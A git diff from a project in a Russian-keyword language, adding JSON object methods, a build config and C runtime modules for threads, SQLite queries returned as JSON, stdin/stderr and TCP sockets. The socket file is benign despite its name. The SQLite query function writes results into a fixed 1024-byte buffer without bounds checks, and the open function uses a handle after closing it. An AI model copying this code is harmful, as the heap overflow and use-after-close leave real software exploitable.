выходная строка := спринтф.ф("\n$стр", выходная строка) + } + + выходная строка := строка.собрать(выходная строка, спринтф.ф("\"$стр\": $стр", значение.ключ, значение.значение.в строку())) + } + + вернуть спринтф.ф("{$стр\n}", выходная строка) +} + +фн (объект: ДжесонОбъект) в токены(): ДжесонТокены { + пусть токены = ДжесонТокены[ТокенФигурнаяСкобка{закрывающая: ложь}] + + цикл [номер]значение среди объект.значения { + если номер > 0 { + токены.добавить(ТокенЗапятая{}) + } + + токены.добавить(ТокенСтрока{значение: значение.ключ}) + токены.добавить(ТокенДвоеточие{}) + токены.добавить(значение.значение.в токены()...) + } + + токены.добавить(ТокенФигурнаяСкобка{закрывающая: истина}) + + вернуть токены +} + +фн (объект: ДжесонОбъект) пустое*(): Лог { + вернуть ложь +} + +фн (объект: ДжесонОбъект) получить*(ключ: Строка): ДжесонЗначение { + пусть количество = длина(объект.значения) + пусть ай := количество - 1 + + пока ай >= 0 { + пусть значение = объект.значения[ай] + + если значение.ключ = ключ { + вернуть значение.значение + } + + ай := ай - 1 + } + + вернуть ДжесонЗначение{} +} + +фн (объект: ДжесонОбъект) вставить*(ключ: Строка, новое значение: ДжесонЗначение) { + цикл [номер]значение среди объект.значения { + если значение.ключ = ключ { + объект.значения[номер].значение := новое значение + вернуть + } + } + + объект.значения.добавить(ДжесонКлючЗначение{ключ: ключ, значение: новое значение}) +} + +тип ДжесонКлючЗначение* = класс { + ключ*: Строка := "" + значение*: ДжесонЗначение := позже +} + +тип ДжесонКлючЗначения* = []ДжесонКлючЗначение diff --git a/карга.json b/карга.json new file mode 100644 index 0000000..56b7710 --- /dev/null +++ b/карга.json @@ -0,0 +1,12 @@ +{ + "project_name": "srab", + "target": "linux", + "include_modules": [ + { "c_file": "suckit.c", "c_header": "suckit.h" }, + { "c_file": "sckulya.c", "c_header": "sckulya.h" }, + { "c_file": "pstruya.c", "c_header": "pstruya.h" }, + { "c_file": "stdin.c", "c_header": "stdin.h" } + ], + "compiler_flags": ["-pthread"], + "linker_flags": ["-lsqlite3"] +} diff --git a/си/pstruya.c b/си/pstruya.c new file mode 100644 index 0000000..b064fbb --- /dev/null +++ b/си/pstruya.c @@ -0,0 +1,46 @@ +#include "pstruya.h" + +typedef struct { + struya_vnutr__TStruya routine; + TTagPair arg; +} tri_thread_launch_compound; + +void* tri_thread_wrapper(void* arg) { + tri_thread_launch_compound* compound = (tri_thread_launch_compound*) arg; + compound->routine.func(compound->routine.receiver, compound->arg); + + free(compound); + return NULL; +} + +int64_t tri_thread_create(struya_vnutr__TStruya routine, TTagPair arg) { + pthread_t thread; + pthread_attr_t attr; + + pthread_attr_init(&attr); + pthread_attr_setstacksize(&attr, 512 * 1024); + + tri_thread_launch_compound* compound = malloc(sizeof(tri_thread_launch_compound)); + compound->routine = routine; + compound->arg = arg; + + int result = pthread_create(&thread, &attr, tri_thread_wrapper, (void*) compound); + + if (result != 0) { + return 0; + } + + return (int64_t)(uintptr_t)thread; +} + +void tri_thread_join(int64_t thread) { + if (!thread) return; + + pthread_join((pthread_t)(uintptr_t)thread, NULL); +} + +void tri_thread_detach(int64_t thread) { + if (!thread) return; + + pthread_detach((pthread_t)(uintptr_t)thread); +} diff --git a/си/pstruya.h b/си/pstruya.h new file mode 100644 index 0000000..baf4bd4 --- /dev/null +++ b/си/pstruya.h @@ -0,0 +1,14 @@ +#ifndef STRUYA_H +#define STRUYA_H + +#include "rt_api.h" +#include "struya_vnutr.h" + +#include +#include + +int64_t tri_thread_create(struya_vnutr__TStruya routine, TTagPair arg); +void tri_thread_join(int64_t thread); +void tri_thread_detach(int64_t thread); + +#endif // STRUYA_H diff --git a/си/sckulya.c b/си/sckulya.c new file mode 100644 index 0000000..d7d78ec --- /dev/null +++ b/си/sckulya.c @@ -0,0 +1,160 @@ +#include "sckulya.h" + +int64_t tri_sqlite_open(TString filename, TString *error) { + sqlite3* out_db = 0; + + int rc = sqlite3_open((const char*) filename->body, &out_db); + + if(rc != SQLITE_OK) { + if(out_db) { + sqlite3_close(out_db); + } + + const char* msg = sqlite3_errmsg(out_db); + + if(!msg) { + msg = "Unknown error"; + } + + int64_t len = (int64_t)strlen(msg); + *error = tri_newString(len, len, (char*)msg); + } + + sqlite3_busy_timeout(out_db, 5000); + + return (int64_t) out_db; +} + +int tri_sqlite_close(int64_t db) { + if (!db) return SQLITE_MISUSE; + return sqlite3_close((sqlite3*) db); +} + +void tri_sqlite_exec(int64_t db, TString query, TString *error) { + char* errmsg = NULL; + int rc = sqlite3_exec((sqlite3*) db, (const char*) query->body, NULL, NULL, &errmsg); + + if (errmsg) { + int64_t len = (int64_t)strlen(errmsg); + *error = tri_newString(len, len, errmsg); + + sqlite3_free(errmsg); + } +} + +void escape_and_append (const unsigned char *s, char* buf, size_t* len) { +for (; *s; ++s) { + char esc = 0; + + switch (*s) { + case '\\': esc = '\\'; break; + case '\b': esc = 'b'; break; + case '\f': esc = 'f'; break; + case '\n': esc = 'n'; break; + case '\r': esc = 'r'; break; + case '\t': esc = 't'; break; + default: break; + } + if (esc) { + buf[(*len)++] = '\\'; + buf[(*len)++] = esc; + } else { + buf[(*len)++] = *s; + } +} +}; + +int tri_sqlite_query(int64_t db, TString query, TString *result, TString *error) { + sqlite3_stmt *stmt = NULL; + int rc = sqlite3_prepare_v2((sqlite3*)db, (const char*) query->body, -1, &stmt, NULL); + if (rc != SQLITE_OK) { + if (error) { + const char *msg = sqlite3_errmsg((sqlite3*)db); + if (!msg) msg = "Unknown error"; + int64_t len = (int64_t)strlen(msg); + *error = tri_newString(len, len, (char*)msg); + } + return rc; + } + + size_t cap = 1024; + size_t len = 0; + char *buf = malloc(cap); + + if (!buf) { + sqlite3_finalize(stmt); + if (error) *error = tri_newString(0,0,"Out of memory"); + return SQLITE_NOMEM; + } + + buf[len++] = '['; + int first_row = 1; + + while ((rc = sqlite3_step(stmt)) == SQLITE_ROW) { + if (!first_row) { buf[len++] = ','; } else first_row = 0; + buf[len++] = '{'; + + int ncol = sqlite3_column_count(stmt); + for (int i = 0; i < ncol; ++i) { + if (i) { buf[len++] = ','; } + const char *colname = sqlite3_column_name(stmt, i); + /* "colname": */ + // strlen(colname) + 4; + buf[len++] = '\"'; + escape_and_append((const unsigned char*)colname, buf, &len); + buf[len++] = '\"'; + buf[len++] = ':'; + + int type = sqlite3_column_type(stmt, i); + if (type == SQLITE_INTEGER) { + long long v = sqlite3_column_int64(stmt, i); + char tmp[32]; + int n = snprintf(tmp, sizeof(tmp), "%lld", v); + memcpy(buf + len, tmp, n); len += n; + } else if (type == SQLITE_FLOAT) { + double v = sqlite3_column_double(stmt, i); + char tmp[64]; + int n = snprintf(tmp, sizeof(tmp), "%g", v); + memcpy(buf + len, tmp, n); len += n; + } else if (type == SQLITE_NULL) { + memcpy(buf + len, "null", 4); len += 4; + } else { + const unsigned char *txt = sqlite3_column_text(stmt, i); + if (!txt) { + memcpy(buf + len, "null", 4); len += 4; + } else { + buf[len++] = '\"'; + escape_and_append(txt, buf, &len); + buf[len++] = '\"'; + } + } + } + + buf[len++] = '}'; + } + + /* finalize and handle errors */ + if (rc != SQLITE_DONE) { + const char *msg = sqlite3_errmsg((sqlite3*)db); + if (error) { + if (!msg) msg = "Unknown error"; + int64_t mlen = (int64_t)strlen(msg); + *error = tri_newString(mlen, mlen, (char*)msg); + } + sqlite3_finalize(stmt); + free(buf); + return rc; + } + + buf[len++] = ']'; + buf[len] = '\0'; + + sqlite3_finalize(stmt); + + if (result) { + *result = tri_newString((int64_t)len, (int64_t)len, buf); + } + + free(buf); + return SQLITE_OK; +} diff --git a/си/sckulya.h b/си/sckulya.h new file mode 100644 index 0000000..ccb9677 --- /dev/null +++ b/си/sckulya.h @@ -0,0 +1,17 @@ +#ifndef SCKULYA_H +#define SCKULYA_H + +#include +#include +#include + +#include "rt_api.h" + +#include + +int64_t tri_sqlite_open(TString filename, TString *error); +int tri_sqlite_close(int64_t db); +void tri_sqlite_exec(int64_t db, TString query, TString *error); +int tri_sqlite_query(int64_t db, TString query, TString *result, TString *error); + +#endif // SCKULYA_H diff --git a/си/stdin.c b/си/stdin.c new file mode 100644 index 0000000..b6439e0 --- /dev/null +++ b/си/stdin.c @@ -0,0 +1,34 @@ +#include +#include +#include +#include "rt_api.h" + +TString stdin_read_to_string(int bytes) { + if (bytes <= 0) { + return tri_newString(0, 0, ""); + } + + char* buffer = (char*)malloc((size_t)bytes + 1); + if (!buffer) { + return tri_newString(0, 0, ""); + } + + ssize_t bytes_read = read(0, buffer, (size_t)bytes); + if (bytes_read < 0) { + bytes_read = 0; + } + + TString string = tri_newString((int64_t)bytes_read, (int64_t)bytes_read, buffer); + + free(buffer); + return string; +} + +// Writes TString data to STDERR (fd 2) +void stderr_write_string(TString data) { + if (!data) return; + char* datastring = (char*)data->body; + if (!datastring) return; + write(2, datastring, (size_t)strlen(datastring)); +} + diff --git a/си/stdin.h b/си/stdin.h new file mode 100644 index 0000000..1e910b5 --- /dev/null +++ b/си/stdin.h @@ -0,0 +1,9 @@ +#ifndef STDIN_H +#define STDIN_H + +#include "rt_api.h" + +TString stdin_read_to_string(int bytes); +void stderr_write_string(TString data); + +#endif // STDIN_H diff --git a/си/suckit.c b/си/suckit.c new file mode 100644 index 0000000..1843488 --- /dev/null +++ b/си/suckit.c @@ -0,0 +1,121 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include "rt_api.h" + + +int create_socket_fd(int port) { + int server_fd; + struct sockaddr_in address; + int opt = 1; + + if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) { + perror("socket failed"); + exit(EXIT_FAILURE); + } + + if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) < 0) { + perror("setsockopt SO_REUSEADDR"); + exit(EXIT_FAILURE); + } + +#ifdef SO_REUSEPORT + if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < 0) { + perror("setsockopt SO_REUSEPORT"); + exit(EXIT_FAILURE); + } +#endif + + memset(&address, 0, sizeof(address)); + address.sin_family = AF_INET; + address.sin_addr.s_addr = INADDR_ANY; + address.sin_port = htons(port); + + if (bind(server_fd, (struct sockaddr*)&address, sizeof(address)) < 0) { + perror("bind failed"); + exit(EXIT_FAILURE); + } + + if (listen(server_fd, 3) < 0) { + perror("listen"); + exit(EXIT_FAILURE); + } + + return server_fd; +} + +int accept_socket(int fd) { + int server_fd = fd; + struct sockaddr_in client_addr; + socklen_t addrlen = sizeof(client_addr); + + int new_socket = accept(server_fd, (struct sockaddr*)&client_addr, &addrlen); + + if (new_socket < 0) { + perror("accept"); + exit(EXIT_FAILURE); + } + + return new_socket; +} + +void write_string(int socket, TString data) { + char* datastring = (char*) data->body; + write(socket, datastring, strlen(datastring)); +} + +void close_socket(int socket){ + close(socket); +} + +TString read_to_string(int socket, int bytes) { + char* buffer = malloc(bytes + 1); + int bytes_read = read(socket, buffer, bytes); + + if(bytes_read < 0) { + bytes_read = 0; + } + + TString string = tri_newString(bytes_read, bytes_read, buffer); + + free(buffer); + return string; +} + +int connect_socket(TString host, int port) { + char* chost = (char*) host->body; + + struct addrinfo hints; + struct addrinfo* res = NULL; + char portstr[16]; + snprintf(portstr, sizeof(portstr), "%d", port); + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + + int gai = getaddrinfo(chost, portstr, &hints, &res); + if (gai != 0) { + perror("getaddrinfo"); + return -1; + } + + int sockfd = -1; + for (struct addrinfo* p = res; p != NULL; p = p->ai_next) { + sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol); + if (sockfd < 0) continue; + if (connect(sockfd, p->ai_addr, p->ai_addrlen) == 0) { + break; // connected + } + close(sockfd); + sockfd = -1; + } + + freeaddrinfo(res); + return sockfd; +} diff --git a/си/suckit.h b/си/suckit.h new file mode 100644 index 0000000..ca04695 --- /dev/null +++ b/си/suckit.h @@ -0,0 +1,13 @@ +#ifndef SUCKIT_H +#define SUCKIT_H + +#include "rt_api.h" + +int create_socket_fd(int port); +int accept_socket(int fd); +void write_string(int socket, TString data); +void close_socket(int socket); +TString read_to_string(int socket, int bytes); +int connect_socket(TString host, int port); + +#endif // SUCKIT_H